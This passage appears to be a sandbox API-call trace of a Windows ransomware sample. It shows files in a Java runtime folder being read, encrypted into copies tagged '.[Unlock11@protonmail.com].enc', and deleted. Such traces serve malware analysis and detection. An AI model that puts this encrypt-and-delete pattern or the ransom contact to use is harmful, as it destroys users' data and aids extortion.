(hFile=0x3ac) returned 0x1 [0126.240] GetLastError () returned 0x0 [0126.240] GetCurrentThreadId () returned 0x9b0 [0126.240] GetLastError () returned 0x0 [0126.240] GetFileType (hFile=0x3ac) returned 0x1 [0126.240] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.241] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.241] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.241] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.241] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.241] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.241] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.241] GetLastError () returned 0x0 [0126.241] GetCurrentThreadId () returned 0x9b0 [0126.241] GetLastError () returned 0x0 [0126.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265438 | out: hHeap=0x2ad0000) returned 1 [0126.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0126.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0126.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0126.242] GetLastError () returned 0x0 [0126.242] GetLastError () returned 0x0 [0126.242] GetCurrentThreadId () returned 0x9b0 [0126.242] GetLastError () returned 0x0 [0126.242] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0126.242] GetLastError () returned 0x0 [0126.242] GetLastError () returned 0x0 [0126.242] GetCurrentThreadId () returned 0x9b0 [0126.242] GetLastError () returned 0x0 [0126.242] GetLastError () returned 0x0 [0126.246] GetLastError () returned 0x0 [0126.246] GetCurrentThreadId () returned 0x9b0 [0126.247] GetLastError () returned 0x0 [0126.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.247] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10a8) returned 0x381b008 [0126.247] GetCurrentThreadId () returned 0x9b0 [0126.247] GetLastError () returned 0x0 [0126.247] GetLastError () returned 0x0 [0126.247] GetLastError () returned 0x0 [0126.247] GetLastError () returned 0x0 [0126.247] GetCurrentThreadId () returned 0x9b0 [0126.247] GetLastError () returned 0x0 [0126.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381b008 | out: hHeap=0x2ad0000) returned 1 [0126.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.248] GetLastError () returned 0x0 [0126.249] GetLastError () returned 0x0 [0126.249] GetCurrentThreadId () returned 0x9b0 [0126.249] GetLastError () returned 0x0 [0126.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x381c0b8 | out: hHeap=0x2ad0000) returned 1 [0126.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f95f8 [0126.249] GetLastError () returned 0x0 [0126.249] GetLastError () returned 0x0 [0126.249] GetCurrentThreadId () returned 0x9b0 [0126.250] GetLastError () returned 0x0 [0126.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f95f8 | out: hHeap=0x2ad0000) returned 1 [0126.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.250] GetLastError () returned 0x0 [0126.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.250] CloseHandle (hObject=0x3ac) returned 1 [0126.250] GetLastError () returned 0x0 [0126.250] GetCurrentThreadId () returned 0x9b0 [0126.251] GetLastError () returned 0x0 [0126.251] GetLastError () returned 0x0 [0126.251] CloseHandle (hObject=0x39c) returned 1 [0126.251] GetLastError () returned 0x0 [0126.251] GetCurrentThreadId () returned 0x9b0 [0126.251] GetLastError () returned 0x0 [0126.251] GetLastError () returned 0x0 [0126.251] GetLastError () returned 0x0 [0126.251] GetLastError () returned 0x0 [0126.251] GetLastError () returned 0x0 [0126.252] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jvm.hprof.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jvm.hprof.txt")) returned 1 [0126.253] GetLastError () returned 0x0 [0126.253] GetCurrentThreadId () returned 0x9b0 [0126.253] GetLastError () returned 0x0 [0126.253] GetCurrentThreadId () returned 0x9b0 [0126.253] GetLastError () returned 0x0 [0126.253] GetLastError () returned 0x0 [0126.253] GetLastError () returned 0x0 [0126.253] GetLastError () returned 0x0 [0126.253] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties", lpFilePart=0x9bada4*="logging.properties") returned 0x39 [0126.253] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0126.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0126.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0126.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0126.254] GetCurrentThreadId () returned 0x9b0 [0126.254] GetLastError () returned 0x0 [0126.254] GetLastError () returned 0x0 [0126.254] GetLastError () returned 0x0 [0126.254] GetLastError () returned 0x0 [0126.254] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar", lpFilePart=0x9bada4*="management-agent.jar") returned 0x3b [0126.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0126.254] GetCurrentThreadId () returned 0x9b0 [0126.254] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0126.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0126.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0126.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.255] GetLastError () returned 0x0 [0126.255] GetLastError () returned 0x0 [0126.255] GetLastError () returned 0x0 [0126.255] GetLastError () returned 0x0 [0126.255] GetCurrentThreadId () returned 0x9b0 [0126.255] GetLastError () returned 0x0 [0126.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.256] GetCurrentThreadId () returned 0x9b0 [0126.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.256] GetCurrentThreadId () returned 0x9b0 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.256] GetLastError () returned 0x0 [0126.257] GetLastError () returned 0x0 [0126.257] GetCurrentThreadId () returned 0x9b0 [0126.257] GetLastError () returned 0x0 [0126.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.257] GetLastError () returned 0x0 [0126.257] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0126.257] GetLastError () returned 0x0 [0126.257] GetLastError () returned 0x0 [0126.257] GetLastError () returned 0x0 [0126.257] GetCurrentThreadId () returned 0x9b0 [0126.257] GetLastError () returned 0x0 [0126.257] GetCurrentThreadId () returned 0x9b0 [0126.258] GetLastError () returned 0x0 [0126.258] GetLastError () returned 0x0 [0126.258] GetLastError () returned 0x0 [0126.258] GetLastError () returned 0x0 [0126.258] GetCurrentThreadId () returned 0x9b0 [0126.258] GetLastError () returned 0x0 [0126.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0126.258] GetLastError () returned 0x0 [0126.258] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0126.258] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.259] GetCurrentThreadId () returned 0x9b0 [0126.259] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.259] GetLastError () returned 0x0 [0126.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0126.260] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1 [0126.260] GetLastError () returned 0x0 [0126.260] GetCurrentThreadId () returned 0x9b0 [0126.260] GetLastError () returned 0x0 [0126.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0126.260] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d7c | out: pbBuffer=0x3662d7c) returned 1 [0126.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0126.260] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0126.260] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0126.261] GetCurrentThreadId () returned 0x9b0 [0126.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.261] GetLastError () returned 0x0 [0126.261] GetLastError () returned 0x0 [0126.261] GetLastError () returned 0x0 [0126.261] GetLastError () returned 0x0 [0126.261] GetCurrentThreadId () returned 0x9b0 [0126.261] GetLastError () returned 0x0 [0126.261] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.261] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.262] GetCurrentThreadId () returned 0x9b0 [0126.262] GetLastError () returned 0x0 [0126.262] GetLastError () returned 0x0 [0126.262] GetLastError () returned 0x0 [0126.262] GetLastError () returned 0x0 [0126.262] GetCurrentThreadId () returned 0x9b0 [0126.262] GetLastError () returned 0x0 [0126.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.262] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32653d8 [0126.262] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4598 | out: hHeap=0x2ad0000) returned 1 [0126.262] GetLastError () returned 0x0 [0126.263] GetLastError () returned 0x0 [0126.263] GetLastError () returned 0x0 [0126.263] GetLastError () returned 0x0 [0126.263] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0126.263] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652c8 [0126.263] GetLastError () returned 0x0 [0126.263] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0126.263] GetFileType (hFile=0x39c) returned 0x1 [0126.264] GetLastError () returned 0x0 [0126.264] GetCurrentThreadId () returned 0x9b0 [0126.264] GetLastError () returned 0x0 [0126.264] GetFileType (hFile=0x39c) returned 0x1 [0126.264] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.264] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.264] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.264] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.264] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.264] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.264] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.264] GetLastError () returned 0x0 [0126.264] GetCurrentThreadId () returned 0x9b0 [0126.265] GetLastError () returned 0x0 [0126.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0126.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0126.265] GetLastError () returned 0x0 [0126.265] GetLastError () returned 0x0 [0126.265] GetLastError () returned 0x0 [0126.265] GetLastError () returned 0x0 [0126.265] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.265] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265388 [0126.265] GetLastError () returned 0x0 [0126.265] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0126.266] GetFileType (hFile=0x3ac) returned 0x1 [0126.266] GetLastError () returned 0x0 [0126.266] GetCurrentThreadId () returned 0x9b0 [0126.266] GetLastError () returned 0x0 [0126.266] GetFileType (hFile=0x3ac) returned 0x1 [0126.266] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0126.266] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.266] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.267] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.267] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.267] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0126.267] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0126.267] GetLastError () returned 0x0 [0126.267] GetCurrentThreadId () returned 0x9b0 [0126.267] GetLastError () returned 0x0 [0126.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265388 | out: hHeap=0x2ad0000) returned 1 [0126.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de6e8 | out: hHeap=0x2ad0000) returned 1 [0126.267] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0126.267] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0126.267] GetLastError () returned 0x0 [0126.268] GetLastError () returned 0x0 [0126.268] GetCurrentThreadId () returned 0x9b0 [0126.268] GetLastError () returned 0x0 [0126.268] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0126.268] GetLastError () returned 0x0 [0126.268] GetLastError () returned 0x0 [0126.268] GetCurrentThreadId () returned 0x9b0 [0126.268] GetLastError () returned 0x0 [0126.268] GetLastError () returned 0x0 [0126.269] GetLastError () returned 0x0 [0126.269] GetCurrentThreadId () returned 0x9b0 [0126.269] GetLastError () returned 0x0 [0126.269] GetCurrentThreadId () returned 0x9b0 [0126.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0126.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653d8 | out: hHeap=0x2ad0000) returned 1 [0126.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x198) returned 0x382b3f0 [0126.270] GetLastError () returned 0x0 [0126.270] GetLastError () returned 0x0 [0126.270] GetLastError () returned 0x0 [0126.270] GetLastError () returned 0x0 [0126.270] GetCurrentThreadId () returned 0x9b0 [0126.270] GetLastError () returned 0x0 [0126.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382b3f0 | out: hHeap=0x2ad0000) returned 1 [0126.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0126.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0126.271] GetLastError () returned 0x0 [0126.271] GetLastError () returned 0x0 [0126.271] GetCurrentThreadId () returned 0x9b0 [0126.271] GetLastError () returned 0x0 [0126.271] GetLastError () returned 0x0 [0126.271] GetLastError () returned 0x0 [0126.271] GetCurrentThreadId () returned 0x9b0 [0126.271] GetLastError () returned 0x0 [0126.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f86e8 | out: hHeap=0x2ad0000) returned 1 [0126.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0126.272] GetLastError () returned 0x0 [0126.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0126.273] CloseHandle (hObject=0x3ac) returned 1 [0126.273] GetLastError () returned 0x0 [0126.273] GetCurrentThreadId () returned 0x9b0 [0126.273] GetLastError () returned 0x0 [0126.273] GetLastError () returned 0x0 [0126.273] CloseHandle (hObject=0x39c) returned 1 [0126.273] GetLastError () returned 0x0 [0126.273] GetCurrentThreadId () returned 0x9b0 [0126.273] GetLastError () returned 0x0 [0126.273] GetLastError () returned 0x0 [0126.274] GetLastError () returned 0x0 [0126.274] GetLastError () returned 0x0 [0126.274] GetLastError () returned 0x0 [0126.274] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar")) returned 1 [0126.275] GetLastError () returned 0x0 [0126.275] GetCurrentThreadId () returned 0x9b0 [0126.275] GetLastError () returned 0x0 [0126.275] GetCurrentThreadId () returned 0x9b0 [0126.275] GetLastError () returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.276] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\meta-index", lpFilePart=0x9bada4*="meta-index") returned 0x31 [0126.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0126.276] GetCurrentThreadId () returned 0x9b0 [0126.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0126.276] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0126.276] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0126.276] GetLastError () returned 0x0 [0126.276] GetLastError () returned 0x0 [0126.277] GetLastError () returned 0x0 [0126.277] GetLastError () returned 0x0 [0126.277] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties", lpFilePart=0x9bada4*="net.properties") returned 0x35 [0126.277] GetCurrentThreadId () returned 0x9b0 [0126.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0126.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0126.277] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0126.277] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0126.277] GetCurrentThreadId () returned 0x9b0 [0126.277] GetLastError () returned 0x0 [0126.277] GetLastError () returned 0x0 [0126.278] GetLastError () returned 0x0 [0126.278] GetLastError () returned 0x0 [0126.278] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", lpFilePart=0x9bada4*="plugin.jar") returned 0x31 [0126.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0126.278] GetCurrentThreadId () returned 0x9b0 [0126.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0126.278] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0126.278] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.278] GetLastError () returned 0x0 [0126.278] GetLastError () returned 0x0 [0126.279] GetLastError () returned 0x0 [0126.279] GetLastError () returned 0x0 [0126.279] GetCurrentThreadId () returned 0x9b0 [0126.279] GetLastError () returned 0x0 [0126.279] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.279] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0126.279] GetCurrentThreadId () returned 0x9b0 [0126.279] GetLastError () returned 0x0 [0126.279] GetLastError () returned 0x0 [0126.279] GetLastError () returned 0x0 [0126.279] GetLastError () returned 0x0 [0126.280] GetCurrentThreadId () returned 0x9b0 [0126.280] GetLastError () returned 0x0 [0126.280] GetLastError () returned 0x0 [0126.280] GetLastError () returned 0x0 [0126.280] GetLastError () returned 0x0 [0126.280] GetLastError () returned 0x0 [0126.280] GetCurrentThreadId () returned 0x9b0 [0126.280] GetLastError () returned 0x0 [0126.280] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5ed8 | out: hHeap=0x2ad0000) returned 1 [0126.280] GetLastError () returned 0x0 [0126.281] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0126.281] GetLastError () returned 0x0 [0126.281] GetLastError () returned 0x0 [0126.281] GetLastError () returned 0x0 [0126.281] GetCurrentThreadId () returned 0x9b0 [0126.281] GetLastError () returned 0x0 [0126.281] GetCurrentThreadId () returned 0x9b0 [0126.281] GetLastError () returned 0x0 [0126.281] GetLastError () returned 0x0 [0126.281] GetLastError () returned 0x0 [0126.281] GetLastError () returned 0x0 [0126.282] GetCurrentThreadId () returned 0x9b0 [0126.282] GetLastError () returned 0x0 [0126.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0126.282] GetLastError () returned 0x0 [0126.282] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6438 | out: hHeap=0x2ad0000) returned 1 [0126.282] GetLastError () returned 0x0 [0126.282] GetLastError () returned 0x0 [0126.282] GetLastError () returned 0x0 [0126.282] GetCurrentThreadId () returned 0x9b0 [0126.282] GetLastError () returned 0x0 [0126.282] GetLastError () returned 0x0 [0126.283] GetLastError () returned 0x0 [0126.283] GetLastError () returned 0x0 [0126.283] GetLastError () returned 0x0 [0126.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0126.283] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d81efe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8d81efe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8df45fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d588b)) returned 1 [0126.283] GetLastError () returned 0x0 [0126.283] GetCurrentThreadId () returned 0x9b0 [0126.283] GetLastError () returned 0x0 [0126.283] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0126.283] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0126.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0126.284] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0126.284] GetCurrentThreadId () returned 0x9b0 [0126.284] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 